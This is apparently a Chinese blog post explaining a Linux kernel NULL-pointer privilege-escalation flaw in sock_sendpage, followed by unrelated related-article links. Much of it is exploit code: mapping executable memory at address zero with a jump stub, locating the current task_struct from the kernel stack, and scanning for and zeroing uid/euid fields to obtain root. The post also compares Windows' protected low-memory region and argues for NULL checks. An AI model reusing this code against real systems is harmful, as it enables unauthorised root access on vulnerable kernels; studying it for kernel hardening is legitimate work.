NULL指针一般都是应用于有效性检测的,其实这里面有一个约定俗成的规则,就是说无效指针并不一定是 NULL,只是为了简单起见,规则约定只要指针无效了就将之设置为NULL,结果就是NULL这个指针被用来检测指针有效性,于是它就不能用作其它了,而实际上NULL就是0,代表了数值编号为0的一个内存地址,抛开那个约定,它和别的addr没有任何区别,简单的说,完全可以选择一个其它的地址作为指针有效性检测,比如0x1234等等,不选其它地址的原因就是第一,NULL比较好记忆,第二,由于NULL就是0,因此很容易进行布尔判断。请看下面的程序:

 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void null_func()
  
{
  
printf("aaaaaaaaaaaaaaaaaaaaaaaaaa/n");
  
}
  
void map_and_call_null()
  
{
  
char *addr = NULL;
  
addr = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  
addr[0] = '/xff';
  
addr[1] = '/x25';
  
*(unsigned int *)&addr[2] = 6;
  
*(unsigned long *)&addr[6] = (unsigned long)&null_func;
  
void (*aaa)();
  
aaa = NULL; //设置为NULL
  
(*aaa)();
  
}
  
int main(void)
  
{
  
map_and_call_null(NULL);
  
}
 
结果成功打印出了一片a,这就说明NULL是可以作为一个正常的地址来使用的,如此一来就出现了一个漏洞,其实按照理论上讲除非你把NULL地址的内存的访问权限完全封死,要不然这个漏洞就是无法弥补的,只能通过程序员自己来负责了。而完全封死NULL又不符合设计规范,用户空间的进程内存是可以被该进程自由访问的,任何机构都没有权力封死一块内存的访问权限,既然不能封死NULL,那么按照规则和编译器的特性内核中的指针在初始化的时候都被初始化成了 NULL,如果后面没有再被赋予正确的值,那么它将一直是NULL,如果此时有一个执行绪没有检查NULL指针直接调用了一个可能是NULL的回调函数,那么只要在NULL地址处映射着的代码都将被执行,而映射什么代码全部是用户进程说了算的。于是乎在内核空间为了安全起见一般都将函数指针初始化为一个 stub函数,然后在该stub中直接返回一个出错码,还有一种初始化方式就是初始化为一个0xc0000000指针,用户空间是无法访问内核空间的,因此就不能往这个地址映射任何东西,内核空间和用户空间完全分治。
 
现在的内核普遍采用了stub函数的初始化方式,但是总是有一些例外,正如漏洞描述上所说的,并不是所有的事情都符合这个约定的,因此就存在有一些函数没有被初始化为stub的,socket的file_operations中的sendpage就是其中之一,它实现如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static ssize_t sock_sendpage(struct file *file,...)
  
{
  
struct socket *sock;
  
int flags;
  
sock = file->private_data;
  
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  
if (more)
  
flags |= MSG_MORE;
  
return sock->ops->sendpage(sock, page, offset, size, flags);
  
}
 
如果碰上没有初始化sock->ops->sendpage为stub的情况,那么它就是NULL,如果对应的协议族根本没有用到这个回调函数,那么它将一直是NULL,于是乎只需要在用户空间将NULL地址处映射为修改uid或者euid的代码就可以从普通权限跳跃到root权限。但是这个漏洞额度利用并不像内核自杀式漏洞的利用那么简单。
 
由于代码是在用户空间注入的,所以就不能直接用内核空间的current宏了,必须通过内核栈来间接的得到当前进程的task_struct指针,其实内核空间的current宏也是这么实现的,只不过在用户空间编译程序之前是不能动态使用内核数据结构的,那么当用户空间代码注入到内核以后(其实没有注入内核,而是引导内核空间的执行绪调用用户空间的代码而已),自己按照current的实现方式再实现一个好了,这对内核爱好者应该不难:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static inline unsigned long get_current_4k(void)
  
{
  
unsigned long current = 0;
  
asm volatile (
  
" movl %%esp, %0;"
  
: "=r" (current)
  
);
  
current = *(unsigned long *)(current & 0xfffff000);
  
if (current < 0xc0000000 || current > 0xfffff000)
  
return 0;
  
return current;
  
}
 
 
找到了当前进程的task_struct,那么接下来就是找到其uid/euid字段并且更改之,如何找到这些字段又是一个难题,因为在用户空间并不知道该运行的内核的task_struct是怎么实现的,因此只能通过特征来猜测了,我们现在知道的信息是当前进程的uid,euid以及uid,euid等字段在task_struct中的相对位置,就是说虽然不知道uid的绝对偏移,但是知道euid和uid的相对偏移信息,如此一来就可以一个一个字节的搜索了,代码如下:
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
repeat:
  
current = (unsigned int *)orig_current;(由get_current_4k()得到)
  
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
  
(current[0] != our_uid || current[1] != our_uid ||
  
current[2] != our_uid || current[3] != our_uid))
  
current++;
  
if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
  
if (orig_current == orig_current_4k) {
  
orig_current = get_current_8k();
  
goto repeat;
  
}
  
return;
  
}
  
got_root = 1;
  
memset(current, 0, sizeof(unsigned int) * 8); //最终修改task_struct的uid信息
 
如此用NULL指针漏洞就可以从普通用户权限提升到root用户权限,但是这一招在windows上能否行得通呢?我们来做一个实验:
 
1
2
3
4
5
6
7
unsigned long addr = XXX;//随便一个0到64k的地址都可以,不妨设置为NULL
  
char * p = (char *) VirtualAlloc((LPVOID)addr,0x1000,MEM_COMMIT,PAGE_READONLY);
  
DWORD dwRequest;
  
BOOL b = VirtualProtect(p,0x1000,PAGE_READWRITE,&dwRequest);
经过上述的实验,发现两个函数都失败了,为什么呢?其实在windows中明确规定了一个64k大小的用户禁入区,也就是这个区域内的内存是不能访问的,这就避免了linux中的上述的漏洞问题,但是为何linux不这么做呢?呵呵,linux不将NULL封死就是因为机制和策略相分离的原则,操作系统内核给与用户空间最大的自由,不规定内存怎么映射,随便怎么映射都可以。如果非要说linux的NULL指针没有封死是个潜在的漏洞,那也只能说该漏洞是内核路径没有严格验证指针是否为NULL导致的而不是NULL本身导致的,需要做的不是封死NULL,而是在有漏洞的地方加上NULL判断

NULL指针引起的一个linux内核漏洞的更多相关文章

  1. 如何成为一个Linux内核开发者

    你想知道如何成为一个Linux内核开发者么?或者你的老板告诉你,“去为这个设备写一个Linux驱动.“这篇文档的目的,就是通过描述你需要 经历的过程和提示你如何和社区一起工作,来教给你为达到这些目的所 ...

  2. Linux内核漏洞精准检测如何做?SCA工具不能只在软件层面

    摘要:二进制SCA工具要想更好的辅助安全人员实现安全审计.降低漏洞检测的误报率,必须向更细颗粒度的检测维度发展,而不仅仅停留在开源软件的层面,同时对漏洞库的要求也需要向细颗粒度的精准信息提出的挑战. ...

  3. 初识linux内核漏洞利用

    0x00 简介 之前只接触过应用层的漏洞利用, 这次第一次接触到内核层次的,小结一下. 0x01 概况 这次接触到的,是吾爱破解挑战赛里的一个题,给了一个有问题的驱动程序,要求在ubuntu 14.0 ...

  4. 一个linux内核编译时遇到的perl语法导致的编译问题解决

    在编译linux内核时,遇到了一个比较诡异的问题.具体log如下: Can't locate strict.pm in @INC (you may need to install the strict ...

  5. Linux内核漏洞利用-环境配置(转)

    实验环境: Ubuntu-14.04.1 x86 linux-2.6.32.1 busybox-1.27.2 qemu 0x00 安装qemu sudo apt-get install qemu qe ...

  6. 【转】第一个Linux内核驱动程序

    原文网址:http://blog.csdn.net/nexttake/article/details/8181008 刚看 O’REILLY 写的<LINUX 设备驱动程序>时.作者一再强 ...

  7. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  8. Linux内核分析-构造一个简单的Linux系统MenuOS

    构造一个简单的Linux系统MenuOS linux内核目录结构 arch目录包括了所有和体系结构相关的核心代码.它下面的每一个子目录都代表一种Linux支持的体系结构,例如i386就是Intel C ...

  9. Linux内核, 编译一个自己的内核

      本文,我们将一步一步地介绍如何从源代码编译和安装一个Linux内核.需要注意的是本指导基于Ubuntu 20.04版本编译安装,其它发行版可能会有差异. 在前面文章中我们反复提到过Linux内核, ...

随机推荐

  1. [Golang学习笔记] 03 库源码文件

    库源码文件:不能被直接运行的源码文件,它仅用于存放程序实体,这些程序实体可以被其他代码使用. 代码包声明的基本规则: 1. 同目录下的源码文件的代码包声明语句要一致.也就是说,它们要同属于一个代码包( ...

  2. Anaconda快速加载opencv

    刚刚发现了两种Anaconda快速加载opencv的方法,亲测有效: 第一种: 直接在Navigator Environment 中搜opencv 如果搜不到,登陆Anaconda Cloud官网 h ...

  3. 20155214曾士轩 2016-2017-2 《Java程序设计》第1周学习总结

    20155214曾士轩 2006-2007-2 <Java程序设计>第1周学习总结 教材学习内容总结 浏览教材,根据自己的理解每章提出一个问题 1.标准API的架构指的是什么? 2.一个项 ...

  4. 20155321 2016-2017-2《Java程序设计》课堂实践项目

    20155321 2016-2017-2<Java程序设计>课堂实践项目 关于String类 split方法 charAt方法 项目题目: 模拟实现Linux下Sort -t : -k 2 ...

  5. 《Java 程序设计》课堂实践一

    由于我的IDEA在课堂上临时崩坏导致当时无法编程,修了很长一段时间解决了诸多问题才修好 现将三个题目解答如下 一.MySort 模拟实现Linux下Sort -t : -k 2的功能.参考 Sort的 ...

  6. 【转载】图说C++对象模型:对象内存布局详解

    原文: 图说C++对象模型:对象内存布局详解 正文 回到顶部 0.前言 文章较长,而且内容相对来说比较枯燥,希望对C++对象的内存布局.虚表指针.虚基类指针等有深入了解的朋友可以慢慢看.本文的结论都在 ...

  7. day6 RHCE

    17.创建一个脚本 在server0上创建一个名为/root/foo.sh的脚本,让其提供下列特性: 当运行/root/foo.sh redhat,输出fedora 当运行/root/foo.sh f ...

  8. RHCSA-day3

    10.配置LDAP客户端 在classroom.example.com上已经部署了一台LDAP认证服务器,按以下要求将你的系统加入到该LDAP服务中,并使用Kerberos认证用户密码: 该LDAP认 ...

  9. 使用装饰器@property

    1.在绑定属性时,如果我们直接把属性暴露出去,虽然写起来很简单,但是,没办法检查参数,导致可以把成绩随便改: s = Student() s.score = 98s.score = 1000 # 属性 ...

  10. 查询数据库所有表和字段及其注释(mysql)

    #查询某个库所有表 select * from information_schema.TABLES where table_schema = '数据库' #查询某个库所有表的字段 select * f ...